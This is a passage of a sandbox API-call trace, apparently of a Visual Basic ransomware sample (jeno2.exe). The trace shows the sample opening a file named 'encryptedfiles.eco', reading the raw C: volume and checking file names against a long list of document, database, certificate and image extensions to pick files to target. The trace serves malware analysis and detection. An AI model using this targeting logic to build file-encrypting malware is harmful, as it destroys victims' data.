out: lpWideCharStr="") returned 1 [0087.192] SysStringLen (param_1="C:") returned 0x2 [0087.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:", cchWideChar=3, lpMultiByteStr=0x14aaa9c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:", lpUsedDefaultChar=0x0) returned 3 [0087.192] IsWindowVisible (hWnd=0x6011c) returned 0 [0087.192] lstrlenA (lpString="C:") returned 2 [0087.192] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x188, wParam=0x0, lParam=0x0) returned 0xffffffff [0087.192] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x18e, wParam=0x0, lParam=0x0) returned 0x0 [0087.192] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x180, wParam=0x0, lParam=0x14aaa9c) returned 0x0 [0087.192] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x197, wParam=0x0, lParam=0x0) returned 0x0 [0087.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ee14, cbMultiByte=1, lpWideCharStr=0x14aaa9c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0087.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ee14, cbMultiByte=1, lpWideCharStr=0x14aaa9c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0087.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ee18, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0087.193] VarBstrCmp (bstrLeft="", bstrRight="", lcid=0x0, dwFlags=0x30001) returned 0x1 [0087.193] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x18b, wParam=0x0, lParam=0x0) returned 0x1 [0087.193] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x18a, wParam=0x0, lParam=0x0) returned 0x2 [0087.193] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x3) returned 0x38374e0 [0087.193] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x189, wParam=0x0, lParam=0x38374e0) returned 0x2 [0087.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38374e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0087.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38374e0, cbMultiByte=-1, lpWideCharStr=0x14aaa9c, cchWideChar=3 | out: lpWideCharStr="C:") returned 3 [0087.193] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x38374e0 | out: hHeap=0x3820000) returned 1 [0087.193] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18e9d8, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0087.193] lstrcpynA (in: lpString1=0x18e8c4, lpString2="C:\\ProgramData\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0087.193] lstrlenA (lpString="C:\\ProgramData\\jeno2.exe") returned 24 [0087.193] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383c4c8 [0087.193] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383c4f0 [0087.193] lstrcpyA (in: lpString1=0x383c4c8, lpString2="C:\\ProgramData\\jeno2.exe" | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0087.194] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xf) returned 0x3832ec0 [0087.194] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383c4f0 | out: hHeap=0x3820000) returned 1 [0087.194] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383c4c8 | out: hHeap=0x3820000) returned 1 [0087.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832ec0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0087.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832ec0, cbMultiByte=-1, lpWideCharStr=0x1433584, cchWideChar=15 | out: lpWideCharStr="C:\\ProgramData") returned 15 [0087.194] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0087.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\encryptedfiles.eco", cchWideChar=-1, lpMultiByteStr=0x18e91c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\encryptedfiles.eco", lpUsedDefaultChar=0x0) returned 34 [0087.194] GetFullPathNameA (in: lpFileName="C:\\ProgramData\\encryptedfiles.eco", nBufferLength=0x104, lpBuffer=0x18ea4c, lpFilePart=0x18e914 | out: lpBuffer="C:\\ProgramData\\encryptedfiles.eco", lpFilePart=0x18e914*="encryptedfiles.eco") returned 0x21 [0087.195] CreateFileA (lpFileName="C:\\ProgramData\\encryptedfiles.eco" (normalized: "c:\\programdata\\encryptedfiles.eco"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18ea0c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e0 [0087.196] GetFileType (hFile=0x2e0) returned 0x1 [0087.196] IMalloc:Alloc (This=0x767666bc, cb=0x5e) returned 0x14ca178 [0087.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6a, cbMultiByte=1, lpWideCharStr=0x18ea58, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0087.196] SetErrorMode (uMode=0x8001) returned 0x8001 [0087.196] LoadLibraryA (lpLibFileName="Kernel32.dll") returned 0x76d30000 [0087.196] SetErrorMode (uMode=0x8001) returned 0x8001 [0087.196] GetProcAddress (hModule=0x76d30000, lpProcName="GetVolumeInformationW") returned 0x76d5c860 [0087.196] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18eacc, lpFileSystemNameBuffer=0x14524cc, nFileSystemNameSize=0x105 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x18eacc*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0087.197] GetLastError () returned 0x0 [0087.197] VarBstrCmp (bstrLeft="NTFS", bstrRight="NTFS", lcid=0x1, dwFlags=0x30001) returned 0x1 [0087.197] SetErrorMode (uMode=0x8001) returned 0x8001 [0087.197] LoadLibraryA (lpLibFileName="Kernel32.dll") returned 0x76d30000 [0087.197] SetErrorMode (uMode=0x8001) returned 0x8001 [0087.197] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileW") returned 0x76d43f5c [0087.197] CreateFileW (lpFileName="\\\\.\\C:" (normalized: "c:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0087.198] GetLastError () returned 0x0 [0087.198] SetErrorMode (uMode=0x8001) returned 0x8001 [0087.198] LoadLibraryA (lpLibFileName="msvbvm60.dll") returned 0x72940000 [0087.198] SetErrorMode (uMode=0x8001) returned 0x8001 [0087.198] GetProcAddress (hModule=0x72940000, lpProcName="VarPtr") returned 0x72a1de99 [0087.198] GetLastError () returned 0x0 [0087.198] SetErrorMode (uMode=0x8001) returned 0x8001 [0087.198] LoadLibraryA (lpLibFileName="msvbvm60.dll") returned 0x72940000 [0087.198] SetErrorMode (uMode=0x8001) returned 0x8001 [0087.199] GetProcAddress (hModule=0x72940000, lpProcName="GetMem4") returned 0x72a35e23 [0087.199] GetLastError () returned 0x0 [0087.199] GetLastError () returned 0x0 [0087.199] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eed8 | out: ppsaOut=0x18eed8) returned 0x0 [0087.318] GetCurrentProcessId () returned 0x9e0 [0087.318] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0087.318] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0087.318] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 1 [0087.318] IsWindow (hWnd=0x50160) returned 1 [0087.318] GetWindowLongA (hWnd=0x50160, nIndex=-16) returned 1409351809 [0087.318] IsIconic (hWnd=0x30268) returned 0 [0087.318] GetParent (hWnd=0x50160) returned 0x30268 [0087.318] TranslateMessage (lpMsg=0x18eaac) returned 0 [0087.318] DispatchMessageA (lpMsg=0x18eaac) returned 0x0 [0087.318] GetWindowLongA (hWnd=0x50160, nIndex=-16) returned 1409351809 [0087.318] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x50160, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0087.319] PeekMessageA (in: lpMsg=0x18ea28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18ea28) returned 1 [0087.319] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 1 [0087.319] IsWindow (hWnd=0x5011e) returned 1 [0087.319] GetWindowLongA (hWnd=0x5011e, nIndex=-16) returned 1419837443 [0087.319] IsIconic (hWnd=0x30268) returned 0 [0087.319] GetParent (hWnd=0x5011e) returned 0x30268 [0087.319] TranslateMessage (lpMsg=0x18eaac) returned 0 [0087.319] DispatchMessageA (lpMsg=0x18eaac) returned 0x0 [0087.319] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0087.319] PeekMessageA (in: lpMsg=0x18ea28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18ea28) returned 1 [0087.319] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 1 [0087.319] IsWindow (hWnd=0x6011c) returned 1 [0087.319] GetWindowLongA (hWnd=0x6011c, nIndex=-16) returned 1409351809 [0087.319] IsIconic (hWnd=0x30268) returned 0 [0087.319] GetParent (hWnd=0x6011c) returned 0x30268 [0087.319] TranslateMessage (lpMsg=0x18eaac) returned 0 [0087.319] DispatchMessageA (lpMsg=0x18eaac) returned 0x0 [0087.319] GetWindowLongA (hWnd=0x6011c, nIndex=-16) returned 1409351809 [0087.319] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0087.319] PeekMessageA (in: lpMsg=0x18ea28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18ea28) returned 0 [0087.319] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0087.319] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0087.319] GetTickCount () returned 0x1149a5c [0087.320] IsWindowVisible (hWnd=0x30268) returned 0 [0087.320] Sleep (dwMilliseconds=0x0) [0087.485] SetErrorMode (uMode=0x8001) returned 0x8001 [0087.485] LoadLibraryA (lpLibFileName="Kernel32.dll") returned 0x76d30000 [0087.486] SetErrorMode (uMode=0x8001) returned 0x8001 [0087.486] GetProcAddress (hModule=0x76d30000, lpProcName="DeviceIoControl") returned 0x76d4322f [0087.486] DeviceIoControl (in: hDevice=0x2e4, dwIoControlCode=0x900b3, lpInBuffer=0x18eea4*, nInBufferSize=0x18, lpOutBuffer=0x4e90020, nOutBufferSize=0x500000, lpBytesReturned=0x18eed0, lpOverlapped=0x0 | out: lpInBuffer=0x18eea4*, lpOutBuffer=0x4e90020*, lpBytesReturned=0x18eed0*=0x4fff20, lpOverlapped=0x0) returned 1 [0120.011] GetLastError () returned 0x0 [0120.012] SetErrorMode (uMode=0x8001) returned 0x8001 [0120.012] LoadLibraryA (lpLibFileName="msvbvm60.dll") returned 0x72940000 [0120.013] SetErrorMode (uMode=0x8001) returned 0x8001 [0120.013] GetProcAddress (hModule=0x72940000, lpProcName="GetMem8") returned 0x72a35e34 [0120.013] GetLastError () returned 0x0 [0120.013] GetLastError () returned 0x0 [0120.013] GetLastError () returned 0x0 [0120.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb7a, cbMultiByte=1, lpWideCharStr=0x18eb68, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.014] SetErrorMode (uMode=0x8001) returned 0x8001 [0120.014] LoadLibraryA (lpLibFileName="Kernel32.dll") returned 0x76d30000 [0120.014] SetErrorMode (uMode=0x8001) returned 0x8001 [0120.014] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcpynW") returned 0x76d6d556 [0120.014] lstrcpynW (in: lpString1=0x142fffc, lpString2="$Repair", iMaxLength=8 | out: lpString1="$Repair") returned="$Repair" [0120.014] GetLastError () returned 0x0 [0120.015] VarBstrCmp (bstrLeft="$Repair", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.015] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.016] VarBstrCmp (bstrLeft="pair", bstrRight=".bas", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.016] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.016] VarBstrCmp (bstrLeft="air", bstrRight=".py", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.016] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.016] VarBstrCmp (bstrLeft="pair", bstrRight=".pyc", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.016] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.016] VarBstrCmp (bstrLeft="pair", bstrRight=".pdf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.017] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.017] VarBstrCmp (bstrLeft="pair", bstrRight=".ost", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.017] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.017] VarBstrCmp (bstrLeft="epair", bstrRight=".mail", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.017] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.017] VarBstrCmp (bstrLeft="pair", bstrRight=".bak", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.017] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.017] VarBstrCmp (bstrLeft="pair", bstrRight=".cfg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.017] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.018] VarBstrCmp (bstrLeft="pair", bstrRight=".sql", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.018] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.018] VarBstrCmp (bstrLeft="pair", bstrRight=".log", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.018] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.018] VarBstrCmp (bstrLeft="pair", bstrRight=".doc", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.018] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.018] VarBstrCmp (bstrLeft="pair", bstrRight=".xml", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.018] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.019] VarBstrCmp (bstrLeft="epair", bstrRight=".proj", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.019] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.019] VarBstrCmp (bstrLeft="pair", bstrRight=".dot", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.019] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.019] VarBstrCmp (bstrLeft="epair", bstrRight=".docx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.019] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.019] VarBstrCmp (bstrLeft="epair", bstrRight=".docm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.020] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.020] VarBstrCmp (bstrLeft="epair", bstrRight=".dotx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.020] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.020] VarBstrCmp (bstrLeft="epair", bstrRight=".dotm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.020] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.021] VarBstrCmp (bstrLeft="epair", bstrRight=".docb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.021] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.021] VarBstrCmp (bstrLeft="pair", bstrRight=".xls", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.021] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.021] VarBstrCmp (bstrLeft="pair", bstrRight=".xlt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.021] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.021] VarBstrCmp (bstrLeft="pair", bstrRight=".xlm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.021] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.021] VarBstrCmp (bstrLeft="epair", bstrRight=".xlsx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.021] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.022] VarBstrCmp (bstrLeft="epair", bstrRight=".xlsm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.022] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.022] VarBstrCmp (bstrLeft="epair", bstrRight=".xltx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.022] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.022] VarBstrCmp (bstrLeft="epair", bstrRight=".xltm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.022] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.022] VarBstrCmp (bstrLeft="epair", bstrRight=".xlsb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.022] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.022] VarBstrCmp (bstrLeft="pair", bstrRight=".xla", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.022] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.023] VarBstrCmp (bstrLeft="epair", bstrRight=".xlam", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.023] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.023] VarBstrCmp (bstrLeft="pair", bstrRight=".xll", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.023] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.023] VarBstrCmp (bstrLeft="pair", bstrRight=".xlw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.023] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.023] VarBstrCmp (bstrLeft="pair", bstrRight=".ppt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.023] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.024] VarBstrCmp (bstrLeft="pair", bstrRight=".pot", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.024] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.024] VarBstrCmp (bstrLeft="pair", bstrRight=".pps", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.024] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.024] VarBstrCmp (bstrLeft="epair", bstrRight=".pptx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.024] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.024] VarBstrCmp (bstrLeft="epair", bstrRight=".pptm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.024] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.024] VarBstrCmp (bstrLeft="epair", bstrRight=".potx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.024] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.025] VarBstrCmp (bstrLeft="epair", bstrRight=".potm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.025] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.025] VarBstrCmp (bstrLeft="epair", bstrRight=".ppam", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.025] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.025] VarBstrCmp (bstrLeft="epair", bstrRight=".ppsx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.025] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.025] VarBstrCmp (bstrLeft="epair", bstrRight=".ppsm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.025] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.025] VarBstrCmp (bstrLeft="epair", bstrRight=".sldx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.025] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.026] VarBstrCmp (bstrLeft="epair", bstrRight=".sldm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.026] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.026] VarBstrCmp (bstrLeft="Repair", bstrRight=".ACCDB", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.026] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.026] VarBstrCmp (bstrLeft="$Repair", bstrRight=".SQLITE3", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.026] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.026] VarBstrCmp (bstrLeft="Repair", bstrRight=".ACCDR", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.026] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.026] VarBstrCmp (bstrLeft="pair", bstrRight=".txt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.027] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.027] VarBstrCmp (bstrLeft="pair", bstrRight=".ned", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.027] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.027] VarBstrCmp (bstrLeft="pair", bstrRight=".ntm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.027] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.027] VarBstrCmp (bstrLeft="pair", bstrRight=".flt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.027] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.027] VarBstrCmp (bstrLeft="pair", bstrRight=".nrp", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.027] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.028] VarBstrCmp (bstrLeft="air", bstrRight=".db", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.028] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.028] VarBstrCmp (bstrLeft="pair", bstrRight=".3fr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.028] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.028] VarBstrCmp (bstrLeft="air", bstrRight=".ai", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.028] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.028] VarBstrCmp (bstrLeft="pair", bstrRight=".arw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.028] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.028] VarBstrCmp (bstrLeft="pair", bstrRight=".bay", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.028] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.029] VarBstrCmp (bstrLeft="pair", bstrRight=".cdr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.029] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.029] VarBstrCmp (bstrLeft="pair", bstrRight=".cer", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.029] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.029] VarBstrCmp (bstrLeft="pair", bstrRight=".cr2", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.029] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.029] VarBstrCmp (bstrLeft="pair", bstrRight=".crt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.029] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.029] VarBstrCmp 